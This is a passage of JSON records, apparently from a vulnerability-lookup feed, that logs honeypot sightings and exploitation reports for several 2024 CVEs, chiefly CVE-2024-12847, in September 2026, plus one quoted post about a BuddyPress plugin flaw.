"c0ee6c2c-a00a-4aed-8bf8-ee0a6cfeb048", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-07)", "content": "", "creation_timestamp": "2026-09-08T10:00:09.720054Z"}, {"uuid": "ae4ea11d-9724-4718-8f0a-b229aad109bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-08)", "content": "", "creation_timestamp": "2026-09-09T10:00:03.633323Z"}, {"uuid": "d870f867-7818-4ebf-b819-5e984decb6ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-09)", "content": "", "creation_timestamp": "2026-09-10T10:00:03.277720Z"}, {"uuid": "42f70a2f-830f-4a09-ac06-a2de9228d643", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-09)", "content": "", "creation_timestamp": "2026-09-10T10:15:02.765441Z"}, {"uuid": "a0a1149b-f2d9-4813-840b-39b9084db40d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-10)", "content": "", "creation_timestamp": "2026-09-11T10:00:03.650680Z"}, {"uuid": "ccfd006e-df9c-495f-950f-2183e76ed6b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-10)", "content": "", "creation_timestamp": "2026-09-11T10:00:11.166790Z"}, {"uuid": "7c2a2033-8231-4625-9f96-e91472914e91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-10)", "content": "", "creation_timestamp": "2026-09-11T10:15:31.668243Z"}, {"uuid": "deb74197-a8f6-4dd8-aa2d-5ba84358d03c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-11)", "content": "", "creation_timestamp": "2026-09-12T10:00:04.143487Z"}, {"uuid": "3d0703d2-77a7-40ae-bc8d-e360ed6fd865", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12145", "type": "seen", "source": "https://bsky.app/profile/cybersecinsight.bsky.social/post/3mvcynyuzx52e", "content": "\ud83d\udd0d Vulnerability Spotlight | Part 2/3\n\n\u26a0\ufe0f CVE-2024-12145\n\nThe BuddyPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 14.3.3 via the bp_notif...", "creation_timestamp": "2026-09-12T11:39:39.828859Z"}, {"uuid": "e35a8ad7-110b-4b60-ac45-8538ae925af0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-11)", "content": "", "creation_timestamp": "2026-09-12T10:00:15.514779Z"}, {"uuid": "d43c43e0-d121-4e10-a1bf-83d74ddc4fa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-11)", "content": "", "creation_timestamp": "2026-09-12T10:15:03.846633Z"}, {"uuid": "499ef019-7a61-45b3-972d-4414fd06f4b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-12)", "content": "", "creation_timestamp": "2026-09-13T10:00:06.495950Z"}, {"uuid": "69552c2c-2772-433b-8a6c-d1beb8ff91e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-12)", "content": "", "creation_timestamp": "2026-09-13T10:00:03.717894Z"}, {"uuid": "f0d72380-b7a3-43ee-be59-12e55f112af7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-12)", "content": "", "creation_timestamp": "2026-09-13T10:15:06.294922Z"}, {"uuid": "17ca1f20-1a71-40c8-bf74-f58791aeb754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-13)", "content": "", "creation_timestamp": "2026-09-14T10:00:02.776094Z"}, {"uuid": "f7297792-a329-498f-bb0c-517298651814", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-13)", "content": "", "creation_timestamp": "2026-09-14T10:00:05.639158Z"}, {"uuid": "443f782c-7e97-4e4e-a35a-da106c580201", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-13)", "content": "", "creation_timestamp": "2026-09-14T10:15:04.601483Z"}, {"uuid": "f931d80e-943c-4b1d-8783-41ce10f8682e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-14)", "content": "", "creation_timestamp": "2026-09-15T10:00:04.272476Z"}, {"uuid": "f901fa3d-d783-43be-8c50-4897ce786060", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-14)", "content": "", "creation_timestamp": "2026-09-15T10:00:09.161334Z"}, {"uuid": "7a97c698-c0c8-4e60-8fb4-63e71eea6247", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-14)", "content": "", "creation_timestamp": "2026-09-15T10:15:05.924870Z"}, {"uuid": "0ef334a7-e64f-4370-a540-ed7f95017a7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-15)", "content": "", "creation_timestamp": "2026-09-16T10:00:03.080508Z"}, {"uuid": "5983ecab-19ec-4e24-a0d6-74b058c5e7ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-15)", "content": "", "creation_timestamp": "2026-09-16T10:00:05.218493Z"}, {"uuid": "4f72624d-947a-4541-b699-6fdfb92fc480", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-15)", "content": "", "creation_timestamp": "2026-09-16T10:15:05.720656Z"}, {"uuid": "5c2761c8-6ea0-4bc4-8092-6244d1f432eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-15)", "content": "", "creation_timestamp": "2026-09-16T10:15:15.555877Z"}, {"uuid": "5c61f90a-d1e9-4f5c-9ef4-1a733e2beefc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-16)", "content": "", "creation_timestamp": "2026-09-17T10:00:03.836961Z"}, {"uuid": "62a0afe1-4593-4847-84a8-903da509aa36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-16)", "content": "", "creation_timestamp": "2026-09-17T10:15:05.996295Z"}]}